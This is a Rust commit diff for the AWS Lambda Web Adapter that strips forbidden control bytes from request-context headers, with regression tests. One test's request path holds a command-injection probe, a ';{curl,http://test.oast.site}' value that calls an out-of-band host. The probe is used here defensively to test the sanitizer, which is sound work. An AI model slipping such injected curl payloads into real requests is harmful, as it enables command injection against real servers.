fix: sanitize control bytes in x-amzn-{request,lambda}-context headers (#734)

Author: bnusunny

src/lib.rs

@@ -114,6 +114,7 @@ use lambda_http::Body;
 pub use lambda_http::Error;
 use lambda_http::{Request, RequestExt, Response};
 use readiness::Checkpoint;
+use std::borrow::Cow;
 use std::fmt::Debug;
 use std::{
     env,
@@ -475,6 +476,33 @@ fn parse_status_codes(input: &str) -> Vec<u16> {
         .collect()
 }
 
+/// Returns `s` with bytes that `http::HeaderValue` rejects removed.
+///
+/// RFC 7230 limits header field values to visible ASCII plus SP/HTAB; bytes
+/// `< 0x20` (except `\t` = 0x09) and DEL (`0x7F`) are forbidden. The
+/// `x-amzn-request-context` and `x-amzn-lambda-context` headers carry
+/// JSON serialized from the Lambda event, which can echo arbitrary bytes
+/// from the original request path. Without this, a request whose path
+/// contains control bytes (e.g. from a security scanner) would fail the
+/// whole invocation with `InvalidHeaderValue`.
+///
+/// Returns `Cow::Borrowed` when no forbidden byte is present (the common
+/// case), avoiding any allocation.
+fn strip_forbidden_header_bytes(s: &str) -> Cow<'_, [u8]> {
+    let bytes = s.as_bytes();
+    if bytes.iter().all(|&b| b == b'\t' || (b >= 0x20 && b != 0x7F)) {
+        Cow::Borrowed(bytes)
+    } else {
+        Cow::Owned(
+            bytes
+                .iter()
+                .copied()
+                .filter(|&b| b == b'\t' || (b >= 0x20 && b != 0x7F))
+                .collect(),
+        )
+    }
+}
+
 /// The Lambda Web Adapter.
 ///
 /// This is the main struct that handles forwarding Lambda events to your web application.
@@ -917,7 +945,11 @@ impl Adapter<HttpConnector, Body> {
 
         // strip away Base Path if environment variable REMOVE_BASE_PATH is set.
         if let Some(base_path) = self.base_path.as_deref() {
-            path = path.trim_start_matches(base_path);
+            let stripped = path.trim_start_matches(base_path);
+            if stripped.len() != path.len() {
+                tracing::debug!(base_path = %base_path, original = %path, stripped = %stripped, "stripped base path");
+            }
+            path = stripped;
         }
 
         if matches!(request_context, RequestContext::PassThrough) && parts.method == Method::POST {
@@ -929,13 +961,13 @@ impl Adapter<HttpConnector, Body> {
         // include request context in http header "x-amzn-request-context"
         req_headers.insert(
             HeaderName::from_static("x-amzn-request-context"),
-            HeaderValue::from_bytes(serde_json::to_string(&request_context)?.as_bytes())?,
+            HeaderValue::from_bytes(&strip_forbidden_header_bytes(&serde_json::to_string(&request_context)?))?,
         );
 
         // include lambda context in http header "x-amzn-lambda-context"
         req_headers.insert(
             HeaderName::from_static("x-amzn-lambda-context"),
-            HeaderValue::from_bytes(serde_json::to_string(&lambda_context)?.as_bytes())?,
+            HeaderValue::from_bytes(&strip_forbidden_header_bytes(&serde_json::to_string(&lambda_context)?))?,
         );
 
         // Multi-tenancy support: propagate tenant_id from Lambda context
@@ -1402,4 +1434,127 @@ mod tests {
         let response = adapter.fetch_response(request).await.expect("Request failed");
         assert_eq!(200, response.status().as_u16());
     }
+
+    #[test]
+    fn test_strip_forbidden_header_bytes() {
+        // Tab (0x09) and printable ASCII are preserved; CR/LF, NUL, DEL, and other
+        // C0 control bytes are removed.
+        let out = strip_forbidden_header_bytes("a\tb\nc\rd\u{00}e\u{04}f\u{18}g\u{7f}h");
+        assert_eq!(out.as_ref(), b"a\tbcdefgh");
+        assert!(
+            matches!(out, Cow::Owned(_)),
+            "input had forbidden bytes — must allocate"
+        );
+
+        // UTF-8 multi-byte characters are preserved (all continuation bytes >= 0x80
+        // and lead bytes >= 0xC0 are above the 0x7F threshold).
+        let out = strip_forbidden_header_bytes("héllo");
+        assert_eq!(out.as_ref(), "héllo".as_bytes());
+    }
+
+    /// Fast path: input that is already header-safe must not allocate.
+    #[test]
+    fn test_strip_forbidden_header_bytes_all_clean() {
+        let input = r#"{"http":{"path":"/api/users"},"requestId":"abc-123"}"#;
+        let out = strip_forbidden_header_bytes(input);
+        assert_eq!(out.as_ref(), input.as_bytes());
+        assert!(
+            matches!(out, Cow::Borrowed(_)),
+            "header-safe input must not allocate (Cow::Borrowed expected)"
+        );
+
+        // Tab is allowed and should also stay on the borrowed fast path.
+        let input = "tab\there";
+        let out = strip_forbidden_header_bytes(input);
+        assert!(matches!(out, Cow::Borrowed(_)));
+        assert_eq!(out.as_ref(), input.as_bytes());
+    }
+
+    /// Regression test for https://github.com/aws/aws-lambda-web-adapter/issues/732
+    ///
+    /// When the Lambda event's request context contains bytes that are forbidden in
+    /// HTTP header values (control bytes < 0x20 except \t, and 0x7F), serializing
+    /// the request context to JSON and inserting it as `x-amzn-request-context`
+    /// must not fail. Such bytes can appear when scanners (e.g. nuclei) probe a
+    /// Lambda Function URL with crafted paths.
+    #[tokio::test]
+    async fn test_request_context_with_control_bytes_in_path() {
+        let app_server = MockServer::start();
+        app_server.mock(|when, then| {
+            when.method(GET).is_true(|req| {
+                let headers = req.headers();
+
+                // --- x-amzn-request-context: this is where the control bytes
+                // came from (echoed via request_context.http.path).
+                let Some(req_ctx) = headers.get("x-amzn-request-context") else {
+                    return false;
+                };
+                if req_ctx
+                    .as_bytes()
+                    .iter()
+                    .any(|&b| b != b'\t' && (b < 0x20 || b == 0x7F))
+                {
+                    return false;
+                }
+                // Stripped JSON must deserialize back into the typed RequestContext
+                // (not just generic JSON) — proving the structure consumers rely on
+                // survives sanitization.
+                let Ok(ctx) = serde_json::from_slice::<RequestContext>(req_ctx.as_bytes()) else {
+                    return false;
+                };
+                if !matches!(ctx, RequestContext::ApiGatewayV2(_)) {
+                    return false;
+                }
+
+                // --- x-amzn-lambda-context: parallel assertion — the second
+                // call site also goes through strip_forbidden_header_bytes, so
+                // the header must be present, header-safe, and round-trip into
+                // a Context value.
+                let Some(lambda_ctx) = headers.get("x-amzn-lambda-context") else {
+                    return false;
+                };
+                if lambda_ctx
+                    .as_bytes()
+                    .iter()
+                    .any(|&b| b != b'\t' && (b < 0x20 || b == 0x7F))
+                {
+                    return false;
+                }
+                serde_json::from_slice::<serde_json::Value>(lambda_ctx.as_bytes())
+                    .ok()
+                    .and_then(|v| v.get("request_id").and_then(|r| r.as_str()).map(str::to_owned))
+                    .is_some()
+            });
+            then.status(200).body("OK");
+        });
+
+        let options = AdapterOptions {
+            host: app_server.host(),
+            port: app_server.port().to_string(),
+            readiness_check_port: app_server.port().to_string(),
+            readiness_check_path: "/".to_string(),
+            ..Default::default()
+        };
+
+        let adapter = Adapter::new(&options).expect("Failed to create adapter");
+
+        // Build an ApiGatewayV2 request whose request_context.http.path contains
+        // control bytes that http::HeaderValue rejects (DEL = 0x7F, plus 0x04, 0x18).
+        let v2_req = lambda_http::request::LambdaRequest::ApiGatewayV2({
+            use lambda_http::aws_lambda_events::apigw::ApiGatewayV2httpRequest;
+            let mut req = ApiGatewayV2httpRequest::default();
+            req.raw_path = Some("/hello".into());
+            req.request_context.http.method = Method::GET;
+            req.request_context.http.path = Some("/\u{04}\u{7f}\u{18};{curl,http://test.oast.site}".into());
+            req
+        });
+        let mut request = Request::from(v2_req);
+        request.extensions_mut().insert(make_lambda_context(None));
+
+        let response = adapter
+            .fetch_response(request)
+            .await
+            .expect("Request failed despite control bytes in request context path");
+        assert_eq!(200, response.status().as_u16());
+    }
 }